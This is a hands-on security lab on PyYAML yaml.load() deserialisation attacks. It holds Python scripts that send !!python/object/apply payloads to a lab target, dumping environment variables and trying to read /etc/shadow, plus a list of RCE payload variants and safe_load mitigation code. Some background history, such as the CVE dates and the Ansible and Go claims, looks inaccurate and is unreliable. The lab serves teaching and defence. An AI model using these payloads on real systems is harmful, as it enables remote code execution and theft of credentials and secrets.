Exploit PyYAML's yaml.load() with the unsafe Loader=yaml.Loader to achieve Remote Code Execution via crafted YAML payloads:
Load benign YAML to establish a baseline
Inject !!python/object/apply:os.system to execute OS commands
Use subprocess.run to capture command output in the response
Compare safe (yaml.safe_load) vs unsafe (yaml.load) behaviour
Background
PyYAML supports a !!python/object/apply: tag that instructs the parser to call a Python function during deserialisation. With the default or yaml.Loader (unsafe), any callable can be invoked — including os.system.
Real-world examples:
2017 Ansible — Ansible playbooks are YAML; untrusted playbooks with !!python/object/apply allowed lateral movement in CI/CD pipelines. Mandatory use of --check mode added to mitigate.
2018 PyYAML CVE-2017-18342 — yaml.load() without Loader= argument allows arbitrary code execution. Affected countless Python applications using config-file loading. Fixed by requiring explicit Loader= in PyYAML 6.0.
Kubernetes/Helm — Helm chart values.yaml files parsed by Go's YAML library; analogous deserialization issues in Go's encoding/yaml allowed type confusion attacks.
CI/CD pipelines — Jenkins, GitLab CI, and GitHub Actions all parse YAML configuration; supply chain attacks inject malicious YAML into dependency build files.
OWASP: A08:2021 Software and Data Integrity Failures
Architecture
Time
40 minutes
Lab Instructions
Step 1: Setup
Step 2: Launch Kali
Step 3: YAML RCE — os.system
📸 Verified Output:
💡 !!python/object/apply:callable [args] is PyYAML's function call syntax. When yaml.load() (unsafe) encounters this tag, it calls the named Python callable with the provided arguments — during parsing, before your application code even sees the result. The attack happens silently inside the YAML parser itself.
python3 << 'EOF'
import urllib.request, json
T = "http://victim-adv05:5000"
# Multi-line YAML payload
advanced_payload = """!!python/object/apply:subprocess.run
args:
- [sh, -c, "env > /tmp/yaml_env.txt && cat /etc/shadow 2>/tmp/yaml_shadow.txt || echo no_shadow"]
kwds:
shell: false"""
req = urllib.request.Request(f"{T}/api/config/load",
data=json.dumps({"yaml": advanced_payload}).encode(),
headers={"Content-Type": "application/json"})
r = json.loads(urllib.request.urlopen(req).read())
print(f"[*] subprocess.run result: {r}")
# Read env file via YAML RCE
read_payload = "!!python/object/apply:subprocess.check_output [[cat, /tmp/yaml_env.txt]]"
req2 = urllib.request.Request(f"{T}/api/config/load",
data=json.dumps({"yaml": read_payload}).encode(),
headers={"Content-Type": "application/json"})
r2 = json.loads(urllib.request.urlopen(req2).read())
env_content = r2.get('config','')
# Show environment variables
print("[*] Server environment variables:")
for line in str(env_content).replace("b'","").replace("\\n","\n").split("\n")[:10]:
if line.strip():
print(f" {line}")
EOF
python3 << 'EOF'
import urllib.request, json, yaml
T = "http://victim-adv05:5000"
# Local test: safe_load rejects !! tags
dangerous_yaml = "!!python/object/apply:os.system ['id']"
print("[*] Local yaml.safe_load test:")
try:
result = yaml.safe_load(dangerous_yaml)
print(f" Result: {result} ← safe_load returned data without executing!")
except yaml.YAMLError as e:
print(f" ✓ BLOCKED: {e}")
print()
print("[*] Local yaml.load (unsafe) test:")
try:
import os
result = yaml.load(dangerous_yaml, Loader=yaml.Loader)
print(f" ✗ EXECUTED: return code = {result} (command ran!)")
except Exception as e:
print(f" Error: {e}")
print()
print("[*] Safe endpoint on victim (yaml.safe_load):")
r = json.loads(urllib.request.urlopen(f"{T}/api/config/safe").read())
print(f" {r}")
EOF
[*] Local yaml.safe_load test:
✓ BLOCKED: could not determine a constructor for the tag 'tag:yaml.org,2002:python/object/apply'
[*] Local yaml.load (unsafe) test:
✗ EXECUTED: return code = 0 (command ran!)
[*] Safe endpoint:
{'config': {'app': 'InnoZverse', 'debug': False, 'version': 1.0}, 'note': 'yaml.safe_load is always safe'}
python3 << 'EOF'
import urllib.request, json, yaml
T = "http://victim-adv05:5000"
# Generate a variety of payloads and test all
payloads = [
"!!python/object/apply:os.system ['id']",
"!!python/object/apply:subprocess.check_output [[id]]",
"!!python/object/apply:builtins.eval [\"__import__('os').system('id')\"]",
"!!python/object/new:subprocess.Popen\n - [id]\n - stdout: -1\n - stderr: -1",
]
print(f"{'Payload':<50} {'Result'}")
print("-"*80)
for p in payloads:
try:
req = urllib.request.Request(f"{T}/api/config/load",
data=json.dumps({"yaml": p}).encode(),
headers={"Content-Type": "application/json"})
r = json.loads(urllib.request.urlopen(req).read())
config = str(r.get('config','') or r.get('error','')).replace("\n"," ")[:40]
print(f" {p.split(':')[1].split()[0]:<48} {config}")
except Exception as e:
print(f" {'ERROR':<48} {str(e)[:40]}")
EOF
import yaml
# UNSAFE — executes arbitrary Python during parse
result = yaml.load(user_input) # deprecated, raises warning
result = yaml.load(user_input, Loader=yaml.Loader) # explicit but still dangerous
result = yaml.load(user_input, Loader=yaml.FullLoader) # still allows some objects
# SAFE — only loads basic data types (str, int, float, list, dict, None)
result = yaml.safe_load(user_input) # ← always use this for untrusted input
# SAFE — same as safe_load, explicit
result = yaml.load(user_input, Loader=yaml.SafeLoader)